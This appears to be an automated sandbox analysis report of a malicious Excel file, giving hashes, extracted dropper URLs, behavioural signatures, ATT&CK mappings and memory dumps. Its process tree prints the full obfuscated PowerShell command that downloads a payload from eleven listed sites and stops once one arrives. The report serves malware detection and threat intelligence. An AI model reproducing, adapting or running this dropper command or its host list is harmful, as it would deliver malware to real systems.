d7bca44cd6f3a32f3d147e1af282dc6be882b6c5084ec2a91fb420d225ad3819

General

Target

d7bca44cd6f3a32f3d147e1af282dc6be882b6c5084ec2a91fb420d225ad3819.xls
Size

88KB
MD5

315de88b5298e932d09d1238bd3b91d6
SHA1

a55676faa0bd96950941fa9bc3be931abf51844b
SHA256

d7bca44cd6f3a32f3d147e1af282dc6be882b6c5084ec2a91fb420d225ad3819
SHA512

9fa9d92944b856e21fc31f6a314bcf4811debc552868a3455bcd0ea2337e89bfc86f5e90b24979d930d208d4e8729490cb78a0f2db4998c5cf4732b6a27f1de5
SSDEEP

1536:Ayehv7q2Pjx45uoDGTj+5xtekEvi8/dgL8EsAeE9jbDXQAekWvgrPE4nWHPNc2AB:Ayehv7q2Pjx45uoDGTj+5xtekEvi8/da

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://wearsweetbomb.com/wp-content/15zZybP1EXttxDK4JH/

exe.dropper

https://1566xueshe.com/wp-includes/z92ZVqHH8/

exe.dropper

http://mymicrogreen.mightcode.com/Fox-C/NWssAbNOJDxhs/

exe.dropper

http://o2omart.co.in/infructuose/m4mgt2MeU/

exe.dropper

http://mtc.joburg.org.za/-/GBGJeFxXWlNbABv2/

exe.dropper

http://www.ama.cu/jpr/VVP/

exe.dropper

http://actividades.laforetlanguages.com/wp-admin/dU8Ds/

exe.dropper

https://dwwmaster.com/wp-content/1sR2HfFxQnkWuu/

exe.dropper

https://edu-media.cn/wp-admin/0JAE/

exe.dropper

https://iacademygroup.cl/office/G42LJPLkl/

exe.dropper

https://znzhou.top/mode/0Qb/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4076	2204	wscript.exe	81

Blocklisted process makes network request 6 IoCs

flow	pid	Process
28	748	powershell.exe
39	748	powershell.exe
42	748	powershell.exe
46	748	powershell.exe
61	748	powershell.exe
63	748	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
748	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2204	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
748	powershell.exe
748	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	748	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2204	EXCEL.EXE
2204	EXCEL.EXE
2204	EXCEL.EXE
2204	EXCEL.EXE
2204	EXCEL.EXE
2204	EXCEL.EXE
2204	EXCEL.EXE
2204	EXCEL.EXE
2204	EXCEL.EXE
2204	EXCEL.EXE
2204	EXCEL.EXE
2204	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2204 wrote to memory of 4076	2204	EXCEL.EXE	86
PID 2204 wrote to memory of 4076	2204	EXCEL.EXE	86
PID 4076 wrote to memory of 748	4076	wscript.exe	87
PID 4076 wrote to memory of 748	4076	wscript.exe	87

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d7bca44cd6f3a32f3d147e1af282dc6be882b6c5084ec2a91fb420d225ad3819.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2204
- C:\Windows\SYSTEM32\wscript.exe
  wscript c:\programdata\bbiwjdf.vbs
  2⤵
  - Process spawned unexpected child process
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:4076
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$ghkid=('$MJXdfshDrfGZses4=\"http:dhjdhjwearsweetbomb.comdhjwp-contentdhj15zZybP1EXttxDK4JHdhjbouhttps:dhjdhj1566xueshe.comdhjwp-includesdhjz92ZVqHH8dhjbouhttp:dhjdhjmymicrogreen.mightcode.comdhjFox-CdhjNWssAbNOJDxhsdhjbouhttp:dhjdhjo2omart.co.indhjinfructuosedhjm4mgt2MeUdhjbouhttp:dhjdhjmtc.joburg.org.zadhj-dhjGBGJeFxXWlNbABv2dhjbouhttp:dhjdhjwww.ama.cudhjjprdhjVVPdhjbouhttp:dhjdhjactividades.laforetlanguages.comdhjwp-admindhjdU8Dsdhjbouhttps:dhjdhjdwwmaster.comdhjwp-contentdhj1sR2HfFxQnkWuudhjbouhttps:dhjdhjedu-media.cndhjwp-admindhj0JAEdhjbouhttps:dhjdhjiacademygroup.cldhjofficedhjG42LJPLkldhjbouhttps:dhjdhjznzhou.topdhjmodedhj0Qbdhj\" -sPLIt \"bou\"; foReACh($yIdsRhye34syufgxjcdf iN $MJXdfshDrfGZses4){$GweYH57sedswd=(\"ciuwd:iuwd\priuwdogiuwdramiuwddatiuwda\oiphilfj.diuwdliuwdl\").rePlACe(\"iuwd\",\"\");inVOke-weBrEqUesT -uRI $yIdsRhye34syufgxjcdf -oUtFIle $GweYH57sedswd;iF(teSt-pATh $GweYH57sedswd){if((gEt-itEm $GweYH57sedswd).leNGth -ge 47523){bReak;}}}').replace(\"dhj\",\"/\");iex $ghkid"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0hib5has.tnj.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
2KB

MD5
1e2c3360e68342c7d8eb7e4e33571042

SHA1
5d55ea90abe84a8ac1f635024e7573762ac6e0cc

SHA256
81b894991cb3056960a4338816d6c068af7148e7fcb1edb458a62245778e2059

SHA512
a9489840ff6abbcdcd7b68932a7953d137dcc193644a1e47ec7bd9947a17701b924af1125f057d348ec5b7a3d3732344269510976e17e754b74eba1a86ec4583

Download Submit
\??\c:\programdata\bbiwjdf.vbs

Filesize
1KB

MD5
7baad56cc483132b8b9cb7a14722c3b1

SHA1
602f7933c443765697bb178ca137f17f81856f0d

SHA256
31cb0d7a224f16ec4e998140c4efde8ef752295b8a88080915f0bb2b49034bee

SHA512
b1429608e2068dbe868254f9c3130e8ef75932169c417d0928679c3476614df588a72722e34891a2fe80db41e5e8ee054761af2f2fc3b9c6f0e956de8c9a993f

Download Submit
memory/748-143-0x00000245F2E20000-0x00000245F35C6000-memory.dmp

Filesize
7.6MB

Download
memory/748-125-0x00000245F2100000-0x00000245F2122000-memory.dmp

Filesize
136KB

Download
memory/2204-7-0x00007FF7D9E50000-0x00007FF7D9E60000-memory.dmp

Filesize
64KB

Download
memory/2204-23-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-0-0x00007FF7D9E50000-0x00007FF7D9E60000-memory.dmp

Filesize
64KB

Download
memory/2204-8-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-10-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-12-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-13-0x00007FF7D7BF0000-0x00007FF7D7C00000-memory.dmp

Filesize
64KB

Download
memory/2204-11-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-15-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-14-0x00007FF7D7BF0000-0x00007FF7D7C00000-memory.dmp

Filesize
64KB

Download
memory/2204-17-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-16-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-9-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-4-0x00007FF7D9E50000-0x00007FF7D9E60000-memory.dmp

Filesize
64KB

Download
memory/2204-42-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-77-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-6-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-5-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-3-0x00007FF7D9E50000-0x00007FF7D9E60000-memory.dmp

Filesize
64KB

Download
memory/2204-130-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-131-0x00007FF819E6D000-0x00007FF819E6E000-memory.dmp

Filesize
4KB

Download
memory/2204-132-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-133-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-2-0x00007FF7D9E50000-0x00007FF7D9E60000-memory.dmp

Filesize
64KB

Download
memory/2204-142-0x00007FF819DD0000-0x00007FF819FC5000-memory.dmp

Filesize
2.0MB

Download
memory/2204-1-0x00007FF819E6D000-0x00007FF819E6E000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads